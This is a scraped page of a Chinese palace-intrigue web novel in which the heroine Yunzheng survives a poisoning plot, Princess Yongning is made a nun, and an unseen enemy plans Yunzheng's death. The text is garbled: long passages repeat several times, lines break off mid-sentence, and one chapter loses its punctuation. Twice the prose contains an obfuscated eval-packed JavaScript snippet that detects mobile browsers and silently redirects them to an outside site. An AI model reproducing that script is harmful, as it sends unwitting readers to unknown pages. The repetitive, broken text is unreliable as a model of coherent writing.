皇上定定的看着她,忽然问道,“为什么不给四皇子服解毒丸?” 云筝就知道会这样,皇上的疑心太重了,四皇子是他的亲生儿子,不管平时怎么打骂,关键时最护崽。 别看江城郡主极受荣宠,但,又有几个人真正关心她的生死呢? “谁敢给皇子乱吃药?我又不是大夫!江城郡主有事,我顶多赔上一条小命,但皇子出事,要诛九族的。” “再说了,他是中了媚药,不是**,不对路啊。” 她的解释合情合理,皇上疑心尽去,“这有什么不能对外说的?” 云筝理所当然的说道,“我太优秀,太招人恨了,这是我的保命符,不想让别人知道。” “当然,皇上不是别人,是我最信任的君父,既为君,又为父,最值得信赖。” 看着满心信赖的眼神,皇上的心一软。 罢了,又不是什么大事。 “那杯茶本来是端给你喝的?” 云筝知道这事算过去了,心里一松,立马委屈上了,大声嚷嚷,“对,这是要让我身败名裂,彻底毁了我啊,**不过头点地,何必如此恶毒。” 永宁见他们低声嘀嘀咕咕了半天,心情非常复杂。 听到这话,她眼神一冷,“皇上,请相信我,这事真不是**的,我也是受害者 。” 云筝也不跟她争辩,右手一扬。 侍卫拎着成姑姑出现了,“皇上,我把下药的人带过来了,这是永宁身边的嬷嬷,刚才她负责泡茶。” 永宁瞳孔剧震,这没用的废物,居然被抓住了。 成姑姑一迭声的叫屈,“皇上,奴婢是无辜的。” 坏人都觉得自己无辜,皇上眼神冰冷的可怕,“打,狠狠打,打到招供为止。” 十几棍子下去,成姑姑就扛不住了,“我招,我招。” 她老实交待,她在茶壶下了药,但,不是主子吩咐的,而是她的表姐死在云筝手里,她要替表姐报仇。 再一问她表姐是谁?是在钱家行刺云筝的嬷嬷。 她口口声声辩称,表姐是去钱府求老夫人帮忙求情的,怎么可能行刺云筝? 她是被人设局陷害,意在剑指主子,永宁长公主。 听着这些话,云筝神色平静极了,这话啊,只能骗骗小孩子。 没有主子的吩咐,谁敢乱下药?这可是宗室勋贵都在场,稍有差池,就会粉身碎骨。 皇上的眼睛微眯,“那江城郡主是怎么中的毒?” 成姑姑脸色一变,“酒酿小圆子是专为云筝准备的,没成想,江城郡主成了她的替死鬼。” “那杯茶本该是给云筝喝的,四皇子是被波及了。” 她情绪激动万分,“云筝是个扫把星,谁挨的近,谁就倒霉。” 大家看云筝的眼神变了,耳根子软的下意识的朝后退了几步。 云筝清脆的声音响起,“皇上,您最近倒霉吗?我怎么觉得您红光满面,鸿福齐天,财源广进?” 皇上的私库充盈起来,有钱买买买,心情大好,自然是红光满面了。 众人一想,可不是吗? 皇上定定的看着伏跪在地上的永宁,满眼的厌弃,“永宁,你还有什么可说的?” 永宁知道皇上已经在心里给她定了罪,不管她说什么都没用了。 她闭了闭眼,脑海里闪过一个疯狂的念头。 那就玉石俱焚吧,谁都别想活! “皇上,云筝明明事先已经洞悉了一切,却故意没有拆穿,还让江城郡主和四皇子深受其害!” “她为了钉死我的罪名,不择手段,甚至不惜毁了身边亲近的人。” “皇上,您睁开眼睛看看清楚,她到底是什么样的恶魔?” 全场静的出奇,只有倒抽冷气声此起彼伏。 。” 云筝也不跟她争辩,右手一扬。 侍卫拎着成姑姑出现了,“皇上,我把下药的人带过来了,这是永宁身边的嬷嬷,刚才她负责泡茶。” 永宁瞳孔剧震,这没用的废物,居然被抓住了。 成姑姑一迭声的叫屈,“皇上,奴婢是无辜的。” 坏人都觉得自己无辜,皇上眼神冰冷的可怕,“打,狠狠打,打到招供为止。” 十几棍子下去,成姑姑就扛不住了,“我招,我招。” 她老实交待,她在茶壶下了药,但,不是主子吩咐的,而是她的表姐死在云筝手里,她要替表姐报仇。 再一问她表姐是谁?是在钱家行刺云筝的嬷嬷。 她口口声声辩称,表姐是去钱府求老夫人帮忙求情的,怎么可能行刺云筝? 她是被人设局陷害,意在剑指主子,永宁长公主。 听着这些话,云筝神色平静极了,这话啊,只能骗骗小孩子。 没有主子的吩咐,谁敢乱下药?这可是宗室勋贵都在场,稍有差池,就会粉身碎骨。 皇上的眼睛微眯,“那江城郡主是怎么中的毒?” 成姑姑脸色一变,“酒酿小圆子是专为云筝准备的,没成想,江城郡主成了她的替死鬼。” “那杯茶本该是给云筝喝的,四皇子是被波及了。” 她情绪激动万分,“云筝是个扫把星,谁挨的近,谁就倒霉。” 大家看云筝的眼神变了,耳根子软的下意识的朝后退了几步。 云筝清脆的声音响起,“皇上,您最近倒霉吗?我怎么觉得您红光满面,鸿福齐天,财源广进?” 皇上的私库充盈起来,有钱买买买,心情大好,自然是红光满面了。 众人一想,可不是吗? 皇上定定的看着伏跪在地上的永宁,满眼的厌弃,“永宁,你还有什么可说的?” 永宁知道皇上已经在心里给她定了罪,不管她说什么都没用了。 她闭了闭眼,脑海里闪过一个疯狂的念头。 那就玉石俱焚吧,谁都别想活! “皇上,云筝明明事先已经洞悉了一切,却故意没有拆穿,还让江城郡主和四皇子深受其害!” “她为了钉死我的罪名,不择手段,甚至不惜毁了身边亲近的人。” “皇上,您睁开眼睛看看清楚,她到底是什么样的恶魔?” 全场静的出奇,只有倒抽冷气声此起彼伏。 。” 云筝也不跟她争辩,右手一扬。 侍卫拎着成姑姑出现了,“皇上,我把下药的人带过来了,这是永宁身边的嬷嬷,刚才她负责泡茶。” 永宁瞳孔剧震,这没用的废物,居然被抓住了。 成姑姑一迭声的叫屈,“皇上,奴婢是无辜的。” 坏人都觉得自己无辜,皇上眼神冰冷的可怕,“打,狠狠打,打到招供为止。” 十几棍子下去,成姑姑就扛不住了,“我招,我招。” 她老实交待,她在茶壶下了药,但,不是主子吩咐的,而是她的表姐死在云筝手里,她要替表姐报仇。 再一问她表姐是谁?是在钱家行刺云筝的嬷嬷。 她口口声声辩称,表姐是去钱府求老夫人帮忙求情的,怎么可能行刺云筝? 她是被人设局陷害,意在剑指主子,永宁长公主。 听着这些话,云筝神色平静极了,这话啊,只能骗骗小孩子。 没有主子的吩咐,谁敢乱下药?这可是宗室勋贵都在场,稍有差池,就会粉身碎骨。 皇上的眼睛微眯,“那江城郡主是怎么中的毒?” 成姑姑脸色一变,“酒酿小圆子是专为云筝准备的,没成想,江城郡主成了她的替死鬼。” “那杯茶本该是给云筝喝的,四皇子是被波及了。” 她情绪激动万分,“云筝是个扫把星,谁挨的近,谁就倒霉。” 大家看云筝的眼神变了,耳根子软的下意识的朝后退了几步。 云筝清脆的声音响起,“皇上,您最近倒霉吗?我怎么觉得您红光满面,鸿福齐天,财源广进?” 皇上的私库充盈起来,有钱买买买,心情大好,自然是红光满面了。 众人一想,可不是吗? 皇上定定的看着伏跪在地上的永宁,满眼的厌弃,“永宁,你还有什么可说的?” 永宁知道皇上已经在心里给她定了罪,不管她说什么都没用了。 她闭了闭眼,脑海里闪过一个疯狂的念头。 那就玉石俱焚吧,谁都别想活! “皇上,云筝明明事先已经洞悉了一切,却故意没有拆穿,还让江城郡主和四皇子深受其害!” “她为了钉死我的罪名,不择手段,甚至不惜毁了身边亲近的人。” “皇上,您睁开眼睛看看清楚,她到底是什么样的恶魔?” 全场静的出奇,只有倒抽冷气声此起彼伏。 。” 云筝也不跟她争辩,右手一扬。 侍卫拎着成姑姑出现了,“皇上,我把下药的人带过来了,这是永宁身边的嬷嬷,刚才她负责泡茶。” 永宁瞳孔剧震,这没用的废物,居然被抓住了。 成姑姑一迭声的叫屈,“皇上,奴婢是无辜的。” 坏人都觉得自己无辜,皇上眼神冰冷的可怕,“打,狠狠打,打到招供为止。” 十几棍子下去,成姑姑就扛不住了,“我招,我招。” 她老实交待,她在茶壶下了药,但,不是主子吩咐的,而是她的表姐死在云筝手里,她要替表姐报仇。 再一问她表姐是谁?是在钱家行刺云筝的嬷嬷。 她口口声声辩称,表姐是去钱府求老夫人帮忙求情的,怎么可能行刺云筝? 她是被人设局陷害,意在剑指主子,永宁长公主。 听着这些话,云筝神色平静极了,这话啊,只能骗骗小孩子。 没有主子的吩咐,谁敢乱下药?这可是宗室勋贵都在场,稍有差池,就会粉身碎骨。 皇上的眼睛微眯,“那江城郡主是怎么中的毒?” 成姑姑脸色一变,“酒酿小圆子是专为云筝准备的,没成想,江城郡主成了她的替死鬼。” “那杯茶本该是给云筝喝的,四皇子是被波及了。” 她情绪激动万分,“云筝是个扫把星,谁挨的近,谁就倒霉。” 大家看云筝的眼神变了,耳根子软的下意识的朝后退了几步。 云筝清脆的声音响起,“皇上,您最近倒霉吗?我怎么觉得您红光满面,鸿福齐天,财源广进?” 皇上的私库充盈起来,有钱买买买,心情大好,自然是红光满面了。 众人一想,可不是吗? 皇上定定的看着伏跪在地上的永宁,满眼的厌弃,“永宁,你还有什么可说的?” 永宁知道皇上已经在心里给她定了罪,不管她说什么都没用了。 她闭了闭眼,脑海里闪过一个疯狂的念头。 那就玉石俱焚吧,谁都别想活! “皇上,云筝明明事先已经洞悉了一切,却故意没有拆穿,还让江城郡主和四皇子深受其害!” “她为了钉死我的罪名,不择手段,甚至不惜毁了身边亲近的人。” “皇上,您睁开眼睛看看清楚,她到底是什么样的恶魔?” 全场静的出奇,只有倒抽冷气声此起彼伏。 。” 云筝也不跟她争辩,右手一扬。 侍卫拎着成姑姑出现了,“皇上,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048995|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把下药的人带过来了,这是永宁身边的嬷嬷,刚才她负责泡茶。” 永宁瞳孔剧震,这没用的废物,居然被抓住了。 成姑姑一迭声的叫屈,“皇上,奴婢是无辜的。” 坏人都觉得自己无辜,皇上眼神冰冷的可怕,“打,狠狠打,打到招供为止。” 十几棍子下去,成姑姑就扛不住了,“我招,我招。” 她老实交待,她在茶壶下了药,但,不是主子吩咐的,而是她的表姐死在云筝手里,她要替表姐报仇。 再一问她表姐是谁?是在钱家行刺云筝的嬷嬷。 她口口声声辩称,表姐是去钱府求老夫人帮忙求情的,怎么可能行刺云筝? 她是被人设局陷害,意在剑指主子,永宁长公主。 听着这些话,云筝神色平静极了,这话啊,只能骗骗小孩子。 没有主子的吩咐,谁敢乱下药?这可是宗室勋贵都在场,稍有差池,就会粉身碎骨。 皇上的眼睛微眯,“那江城郡主是怎么中的毒?” 成姑姑脸色一变,“酒酿小圆子是专为云筝准备的,没成想,江城郡主成了她的替死鬼。” “那杯茶本该是给云筝喝的,四皇子是被波及了。” 她情绪激动万分,“云筝是个扫把星,谁挨的近,谁就倒霉。” 大家看云筝的眼神变了,耳根子软的下意识的朝后退了几步。 云筝清脆的声音响起,“皇上,您最近倒霉吗?我怎么觉得您红光满面,鸿福齐天,财源广进?” 皇上的私库充盈起来,有钱买买买,心情大好,自然是红光满面了。 众人一想,可不是吗? 皇上定定的看着伏跪在地上的永宁,满眼的厌弃,“永宁,你还有什么可说的?” 永宁知道皇上已经在心里给她定了罪,不管她说什么都没用了。 她闭了闭眼,脑海里闪过一个疯狂的念头。 那就玉石俱焚吧,谁都别想活! “皇上,云筝明明事先已经洞悉了一切,却故意没有拆穿,还让江城郡主和四皇子深受其害!” “她为了钉死我的罪名,不择手段,甚至不惜毁了身边亲近的人。” “皇上,您睁开眼睛看看清楚,她到底是什么样的恶魔?” 全场静的出奇,只有倒抽冷气声此起彼伏。 。” 云筝也不跟她争辩,右手一扬。 侍卫拎着成姑姑出现了,“皇上,我把下药的人带过来了,这是永宁身边的嬷嬷,刚才她负责泡茶。” 永宁瞳孔剧震,这没用的废物,居然被抓住了。 成姑姑一迭声的叫屈,“皇上,奴婢是无辜的。” 坏人都觉得自己无辜,皇上眼神冰冷的可怕,“打,狠狠打,打到招供为止。” 十几棍子下去,成姑姑就扛不住了,“我招,我招。” 她老实交待,她在茶壶下了药,但,不是主子吩咐的,而是她的表姐死在云筝手里,她要替表姐报仇。 再一问她表姐是谁?是在钱家行刺云筝的嬷嬷。 她口口声声辩称,表姐是去钱府求老夫人帮忙求情的,怎么可能行刺云筝? 她是被人设局陷害,意在剑指主子,永宁长公主。 听着这些话,云筝神色平静极了,这话啊,只能骗骗小孩子。 没有主子的吩咐,谁敢乱下药?这可是宗室勋贵都在场,稍有差池,就会粉身碎骨。 皇上的眼睛微眯,“那江城郡主是怎么中的毒?” 成姑姑脸色一变,“酒酿小圆子是专为云筝准备的,没成想,江城郡主成了她的替死鬼。” “那杯茶本该是给云筝喝的,四皇子是被波及了。” 她情绪激动万分,“云筝是个扫把星,谁挨的近,谁就倒霉。” 大家看云筝的眼神变了,耳根子软的下意识的朝后退了几步。 云筝清脆的声音响起,“皇上,您最近倒霉吗?我怎么觉得您红光满面,鸿福齐天,财源广进?” 皇上的私库充盈起来,有钱买买买,心情大好,自然是红光满面了。 众人一想,可不是吗? 皇上定定的看着伏跪在地上的永宁,满眼的厌弃,“永宁,你还有什么可说的?” 永宁知道皇上已经在心里给她定了罪,不管她说什么都没用了。 她闭了闭眼,脑海里闪过一个疯狂的念头。 那就玉石俱焚吧,谁都别想活! “皇上,云筝明明事先已经洞悉了一切,却故意没有拆穿,还让江城郡主和四皇子深受其害!” “她为了钉死我的罪名,不择手段,甚至不惜毁了身边亲近的人。” “皇上,您睁开眼睛看看清楚,她到底是什么样的恶魔?” 全场静的出奇,只有倒抽冷气声此起彼伏。 。” 云筝也不跟她争辩,右手一扬。 侍卫拎着成姑姑出现了,“皇上,我把下药的人带过来了,这是永宁身边的嬷嬷,刚才她负责泡茶。” 永宁瞳孔剧震,这没用的废物,居然被抓住了。 成姑姑一迭声的叫屈,“皇上,奴婢是无辜的。” 坏人都觉得自己无辜,皇上眼神冰冷的可怕,“打,狠狠打,打到招供为止。” 十几棍子下去,成姑姑就扛不住了,“我招,我招。” 她老实交待,她在茶壶下了药,但,不是主子吩咐的,而是她的表姐死在云筝手里,她要替表姐报仇。 再一问她表姐是谁?是在钱家行刺云筝的嬷嬷。 她口口声声辩称,表姐是去钱府求老夫人帮忙求情的,怎么可能行刺云筝? 她是被人设局陷害,意在剑指主子,永宁长公主。 听着这些话,云筝神色平静极了,这话啊,只能骗骗小孩子。 没有主子的吩咐,谁敢乱下药?这可是宗室勋贵都在场,稍有差池,就会粉身碎骨。 皇上的眼睛微眯,“那江城郡主是怎么中的毒?” 成姑姑脸色一变,“酒酿小圆子是专为云筝准备的,没成想,江城郡主成了她的替死鬼。” “那杯茶本该是给云筝喝的,四皇子是被波及了。” 她情绪激动万分,“云筝是个扫把星,谁挨的近,谁就倒霉。” 大家看云筝的眼神变了,耳根子软的下意识的朝后退了几步。 云筝清脆的声音响起,“皇上,您最近倒霉吗?我怎么觉得您红光满面,鸿福齐天,财源广进?” 皇上的私库充盈起来,有钱买买买,心情大好,自然是红光满面了。 众人一想,可不是吗? 皇上定定的看着伏跪在地上的永宁,满眼的厌弃,“永宁,你还有什么可说的?” 永宁知道皇上已经在心里给她定了罪,不管她说什么都没用了。 她闭了闭眼,脑海里闪过一个疯狂的念头。 那就玉石俱焚吧,谁都别想活! “皇上,云筝明明事先已经洞悉了一切,却故意没有拆穿,还让江城郡主和四皇子深受其害!” “她为了钉死我的罪名,不择手段,甚至不惜毁了身边亲近的人。” “皇上,您睁开眼睛看看清楚,她到底是什么样的恶魔?” 全场静的出奇,只有倒抽冷气声此起彼伏。 第196章 永宁落发为尼 皇上居高临下的看着她“是吗?” 永宁越发的激动“对一次避过那是巧合两次三次避过那还是巧合吗?” 云筝猛的瞪大眼睛“啥?三次?” 皇上看了她一眼确定她是真的不知道眸光微微一闪。 “还有哪一次?” 永宁默了默索性自曝“酒杯有毒但她精准的避开了死活不肯喝说什么对酒过敏呵呵这分明是借口。” “皇上云筝害了您的亲生儿子啊四皇子当众做出这样的丑事还能见人吗?” 她算是看明白了她这个皇姐算个屁江城郡主更不算什么只有亲生的才心疼。 皇上的视线落在云筝身上 不是应该很紧张很不安急着辩解吗? “云筝你怎么不说话?” “那个……”云筝回过神小脸微红视线乱飘。 永宁见状大声喝道“她心虚!她在想怎么狡辩!” 大家怀疑的看着云筝云筝咬了咬嘴唇似是豁出去了“我葵水来了。” 她的声音不大但四周的人都听到了瞬间呆住了。 皇上向来喜怒不形于色的脸有片刻的呆滞“啥?” 云筝尴尬的左顾右盼小脸红通通的“葵水期间我的五感格外敏锐也不能碰酒辛辣的冷冰冰的东西。” “酒酿酒都在禁忌名单内您若不信可以问问太医这种情况算正常吗?” 她弱弱的补了一句“但不要提我的名字哈。” 她窘迫难当被逼无奈的样子让皇上莫名有些心疼。 女孩子脸皮薄被逼当众说出如此私密的事肯定很难受。 永宁太过分了!心思太歹毒! 对云筝施以卑鄙的手段又是下毒又是下媚药还企图嫁祸她。 他冷冷的瞪了永宁一眼永宁整个人都是懵的云筝这理由真是……绝了! 她怎么好意思说出口的?不要脸! 云筝微微抿嘴“至于茶水我觉得味道不对不肯喝还被四皇子嘲讽了一番他还抢去喝了。” 所以真的不能怪她。 “皇上能不能别把我刚才的话记录下来我……我……” 她期期艾艾全然没有平时的爽朗大方。 皇上有些愧疚“行朕知道了锦云你的运气不错这么凶险都避过去了是个小福星。” 他转过头面色冷肃“来人给永宁落发。” 永宁拼命挣扎但侍卫强压着她妙慧师太亲自动手给她落发。 不一会儿永宁一头浓密的头发就全部落地剪去三千烦恼丝也剪去了尘缘一个光头出现在众人眼前。 妙慧师太双手合十念了一声阿弥陀佛“你的法号叫妙净。” 从此往后再无永宁只有一个尼姑妙净。 永宁羞愤欲死恨意在心底沸腾好想杀了所有人! 皇上全看在眼里黑眸闪过一丝冷意“参与阴谋的相关人等全部处死。” “打断妙净的手脚即刻送妙净去清凉庵特准其女纪语儿进去陪伴有生之年不得出。” 他不**足但有的是让她痛不欲生的办法。 如一道惊雷砸中永宁母女妙净大惊失色“皇上不可。” 送她去清凉庵圈禁已经很过分了还要打断她的手脚让她当一个无法自理的废人。 更可恶的是还将语儿也关了进来。 这是要让她们母女彻底**啊。 他太狠了!**诛心! 纪语儿更是脸色惨白惊惧交加“皇上我刚成亲怎么能进庵堂陪伴母亲?求皇上开恩。” 进了庵堂这辈子都不出来了。她还这么年轻还有大把的日子啊。 皇上听而不闻冰冷的目光落在纪大大少身上。 “其子贬为庶民流放三千里钦此。” 纪大少如被晴天霹雳砸中吓懵了。 “不不舅舅饶了我吧我不要流放 他没有什么本事从小到大全靠母亲庇护让他流放她根本不可能活到流放地。 妙净扑通一声跪倒在皇上面前声泪俱下“皇上看在我们姐弟一场的情份上放过我一双儿女吧。” 皇上面色冰冷的可怕“妙净你伤害别人儿女时怎么就不肯放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇上默了默,她是在维护自己啊,所以,他也在她维护的名单中? 有点莫名的开心,是怎么回事? “你觉得三皇子怎么样?” 宗正的心一紧,下意识的看向云筝。 云筝像是没有意识到这话的严重性,随口说道,“他们的心思差不多,但,三皇子够直白,想要就去争取。” “而四皇子呢,遮遮掩掩,明明想要的不行,却做出一副别人逼着他要,他被迫接受的模样,太矫情。” “我更喜欢直来直往的,不用花太多心思应付。” 皇上淡淡的道,“帝王的心思不能浅。” 云筝眉眼弯弯,“嗯,您特别厉害,我就是不明白,您怎么没有生出像您这般出色的儿子?” 皇上嘴角微微上扬,“有那么差吗?” 云筝用力点头,一双乌黑的眼睛闪闪发亮,“差了十万八千里。” “哈哈哈。”皇上忍不住大笑,笑声畅快淋漓,一扫之前的阴霾。 宗正看云筝的眼神都变了,她太懂皇上的心思,太会拿捏了。 怎么做到的? 云筝趁机问道,“皇上,这府邸?” 皇上略一沉吟,“传朕旨意,将永宁长公主府赐给江城郡主,特允开府。” 给谁不是给,对他来说,都一样。 给江城郡主,也算是施恩,于他于皇室都有好处。 云筝雀跃不已,狂拍马屁,“我替江城郡主谢谢您呐,您真的是顶顶好,爱民如子的好皇帝。” 皇上嘴角含着一抹笑,“你这丫头,夸人别这么直白,朕不吃这一套。” 话虽这么说,但他嘴角疯狂上扬的弧度出卖了真实情绪。 宗正不得不服,云筝能得宠,是她应得的。 江城郡主醒过来时,发现自己多了一座郡主府,还允许她出府居住。 她整个人都呆住了,不敢置信。 她做梦都想要一座属于自己的宅院,不用大,可以遮风挡雨,能让她放松下来就行。 天知道,她在皇宫活的有多辛苦, 皇宫的规矩特别多,连吃饭睡觉都有严格的规定,不能有半点出错。 她也不能让人看轻了江家,对自己严格要求。 她明知身边全是别人的眼线,却什么都做不了,连喘口气的地方都没有。 累,太累了。 在世人眼里,皇宫是世间最尊贵的地方,但在她眼里,是一个金色的牢笼。 “是锦云郡主的功劳,她帮您争取到的。” 江城郡主眼眶泛红,她居然这么懂自己。 若能当家作主,谁愿意寄人篱下? 好,真好啊。 云筝得了二十万银子,十万两进入广储司的小金库,空手套白狼,一点都不心疼。 剩下十万两,给帝后和太后送了礼物,也给家人和自己买了礼物,其他都分了下去。 云展鹏夫妻拿着一对龙凤玉佩,越看越喜欢。 “鹏程**,暗含了我的名字,寓意吉祥,我女儿最爱我。” “繁花似锦,也暗含了我的名字,真好,我家筝儿太贴心了,她最爱我。” 安康拿着一套定制的文房四宝,喜欢的不得了,刻着他的名字,还有他喜欢的小动物。 “姐姐,我好喜欢这套文房四宝。” 云筝摸摸他的小脑袋,“喜欢就好,要好好读书。” “知道啦。”安康在她掌下蹭了蹭,满眼的依赖。 鬼医摩挲手中的锦盒,里面一支两百年的老山参。 “这东西不错,不过,云筝,你的心眼有点多呀。” 明面说是给他的礼物,其实是用来配药的。 云筝笑眯眯的说道,“人参荣养丸,又不是我一个人吃的,安康也吃啊。” 安康用力点头,“就是!我也吃!” 鬼医没好气的瞪了他一眼,“你这个小叛徒,我才是你亲爷爷。” 安康笑的可开心了,“嘻嘻,姐姐想要什么丸子,您就给她做嘛,又不是多难的事。” 鬼医差点气死,制药很难,制成珍贵的药丸更难,几年未必能做出一丸,他懂个屁。 “哼。” 他一把拎起孙子往外跑,“看我怎么收拾你。” 安康小胳膊小腿的拼命挣扎,“姐姐,救命 啊。” 云筝看着他们祖孙笑闹,忍俊不禁。 安家祖孙单独住一个院子,二进的,前面住人,后面是制药室和药材库。 鬼医将孙子拎回住所,揍了两下,忍不住问道,“你为什么这么喜欢她?就因为她救过你?” 他打的不痛不痒,安康根本没受伤,奇怪的反问,“她对我那么好,我当然喜欢她了,您是嫉妒吗?” 鬼医翻了个白眼,“臭小子,又想挨揍了,是吧?” 这孩子好像太过活泼了,明明以前不是这样的。 安康眼睛闪闪发亮,“姐姐太强了,您知道吗?她只要看过一遍的书,就能倒背如流。” 鬼医冷哼一声,慕强?“背书而已,我也行的。” 医书晦涩难懂,他都能倒背如流。 安康摇了摇头,“不一样。” “哪里不一样。” 安康急得抓耳挠腮,不知该怎么解释,忽然眼睛一亮,哒哒哒的跑进书房,不一会儿就跑了出来,手里多了几本书。 “那您背。” 鬼医翻开看了一眼,立马合上,头疼。 “这是什么书?” 安康笑眯眯的说道,“墨经,是墨子写的,有关于力、力系的平衡和杠杆、斜面等简单机械的论述,记载了关于小孔成象和平面镜、凹面镜、凸面镜成象的观察研究,还有时间和空间的概念。”注(1) 包含了力学、光学、几何学、工程技术知识和现代物理学、数学的基本要素。注(2) 鬼医听的头都大了,什么凹凸镜,什么小孔成象?听不懂。 “背书又不是什么了不起的技能。” 安康笑的贼兮兮的,“那您做这些题吧。” 鬼医怔了怔,这小子没事跟云筝学什么?这使坏的笑容是一模一样。 “这是什么鬼画符?” 安康哈啥事一笑,“九章算术啊。” 鬼医:…… “她都懂?” “对啊。” 鬼医神色木木的,一个小姑娘熟读四书五经已经够离谱了,为什么还要学墨经? “她让你学这个?” 安康神采飞扬,“没有啊,就是我对这个很感兴趣,空暇时看一看,不懂就问她。” 暗夜中,男人站在参天大树下,眼神阴沉的可怕。 “什么?永宁费了那么多心思,都没有把云筝搞死?” 属下瑟瑟发抖,不敢抬头,“是。” 男人气怒攻心,一掌拍在树身上,“废物,枉我派人暗中引导,云筝怎么这么难杀?” 属下小心翼翼的说道,“主子,锦云郡主可能是受天庇护之人,要不,就算了?” 男人面如沉水,阴恻恻的说道,“运气好而已,但怎么可能一直好?” “害我百年侯府毁于一旦,我岂能饶她?” “想办法跟镇南王府的旧人联系上,让他们动起来。” “是。” “云筝,你非死不可!” 啊。” 云筝看着他们祖孙笑闹,忍俊不禁。 安家祖孙单独住一个院子,二进的,前面住人,后面是制药室和药材库。 鬼医将孙子拎回住所,揍了两下,忍不住问道,“你为什么这么喜欢她?就因为她救过你?” 他打的不痛不痒,安康根本没受伤,奇怪的反问,“她对我那么好,我当然喜欢她了,您是嫉妒吗?” 鬼医翻了个白眼,“臭小子,又想挨揍了,是吧?” 这孩子好像太过活泼了,明明以前不是这样的。 安康眼睛闪闪发亮,“姐姐太强了,您知道吗?她只要看过一遍的书,就能倒背如流。” 鬼医冷哼一声,慕强?“背书而已,我也行的。” 医书晦涩难懂,他都能倒背如流。 安康摇了摇头,“不一样。” “哪里不一样。” 安康急得抓耳挠腮,不知该怎么解释,忽然眼睛一亮,哒哒哒的跑进书房,不一会儿就跑了出来,手里多了几本书。 “那您背。” 鬼医翻开看了一眼,立马合上,头疼。 “这是什么书?” 安康笑眯眯的说道,“墨经,是墨子写的,有关于力、力系的平衡和杠杆、斜面等简单机械的论述,记载了关于小孔成象和平面镜、凹面镜、凸面镜成象的观察研究,还有时间和空间的概念。”注(1) 包含了力学、光学、几何学、工程技术知识和现代物理学、数学的基本要素。注(2) 鬼医听的头都大了,什么凹凸镜,什么小孔成象?听不懂。 “背书又不是什么了不起的技能。” 安康笑的贼兮兮的,“那您做这些题吧。” 鬼医怔了怔,这小子没事跟云筝学什么?这使坏的笑容是一模一样。 “这是什么鬼画符?” 安康哈啥事一笑,“九章算术啊。” 鬼医:…… “她都懂?” “对啊。” 鬼医神色木木的,一个小姑娘熟读四书五经已经够离谱了,为什么还要学墨经? “她让你学这个?” 安康神采飞扬,“没有啊,就是我对这个很感兴趣,空暇时看一看,不懂就问她。” 暗夜中,男人站在参天大树下,眼神阴沉的可怕。 “什么?永宁费了那么多心思,都没有把云筝搞死?” 属下瑟瑟发抖,不敢抬头,“是。” 男人气怒攻心,一掌拍在树身上,“废物,枉我派人暗中引导,云筝怎么这么难杀?” 属下小心翼翼的说道,“主子,锦云郡主可能是受天庇护之人,要不,就算了?” 男人面如沉水,阴恻恻的说道,“运气好而已,但怎么可能一直好?” “害我百年侯府毁于一旦,我岂能饶她?” “想办法跟镇南王府的旧人联系上,让他们动起来。” “是。” “云筝,你非死不可!” 啊。” 云筝看着他们祖孙笑闹,忍俊不禁。 安家祖孙单独住一个院子,二进的,前面住人,后面是制药室和药材库。 鬼医将孙子拎回住所,揍了两下,忍不住问道,“你为什么这么喜欢她?就因为她救过你?” 他打的不痛不痒,安康根本没受伤,奇怪的反问,“她对我那么好,我当然喜欢她了,您是嫉妒吗?” 鬼医翻了个白眼,“臭小子,又想挨揍了,是吧?” 这孩子好像太过活泼了,明明以前不是这样的。 安康眼睛闪闪发亮,“姐姐太强了,您知道吗?她只要看过一遍的书,就能倒背如流。” 鬼医冷哼一声,慕强?“背书而已,我也行的。” 医书晦涩难懂,他都能倒背如流。 安康摇了摇头,“不一样。” “哪里不一样。” 安康急得抓耳挠腮,不知该怎么解释,忽然眼睛一亮,哒哒哒的跑进书房,不一会儿就跑了出来,手里多了几本书。 “那您背。” 鬼医翻开看了一眼,立马合上,头疼。 “这是什么书?” 安康笑眯眯的说道,“墨经,是墨子写的,有关于力、力系的平衡和杠杆、斜面等简单机械的论述,记载了关于小孔成象和平面镜、凹面镜、凸面镜成象的观察研究,还有时间和空间的概念。”注(1) 包含了力学、光学、几何学、工程技术知识和现代物理学、数学的基本要素。注(2) 鬼医听的头都大了,什么凹凸镜,什么小孔成象?听不懂。 “背书又不是什么了不起的技能。” 安康笑的贼兮兮的,“那您做这些题吧。” 鬼医怔了怔,这小子没事跟云筝学什么?这使坏的笑容是一模一样。 “这是什么鬼画符?” 安康哈啥事一笑,“九章算术啊。” 鬼医:…… “她都懂?” “对啊。” 鬼医神色木木的,一个小姑娘熟读四书五经已经够离谱了,为什么还要学墨经? “她让你学这个?” 安康神采飞扬,“没有啊,就是我对这个很感兴趣,空暇时看一看,不懂就问她。” 暗夜中,男人站在参天大树下,眼神阴沉的可怕。 “什么?永宁费了那么多心思,都没有把云筝搞死?” 属下瑟瑟发抖,不敢抬头,“是。” 男人气怒攻心,一掌拍在树身上,“废物,枉我派人暗中引导,云筝怎么这么难杀?” 属下小心翼翼的说道,“主子,锦云郡主可能是受天庇护之人,要不,就算了?” 男人面如沉水,阴恻恻的说道,“运气好而已,但怎么可能一直好?” “害我百年侯府毁于一旦,我岂能饶她?” “想办法跟镇南王府的旧人联系上,让他们动起来。” “是。” “云筝,你非死不可!” 啊。” 云筝看着他们祖孙笑闹,忍俊不禁。 安家祖孙单独住一个院子,二进的,前面住人,后面是制药室和药材库。 鬼医将孙子拎回住所,揍了两下,忍不住问道,“你为什么这么喜欢她?就因为她救过你?” 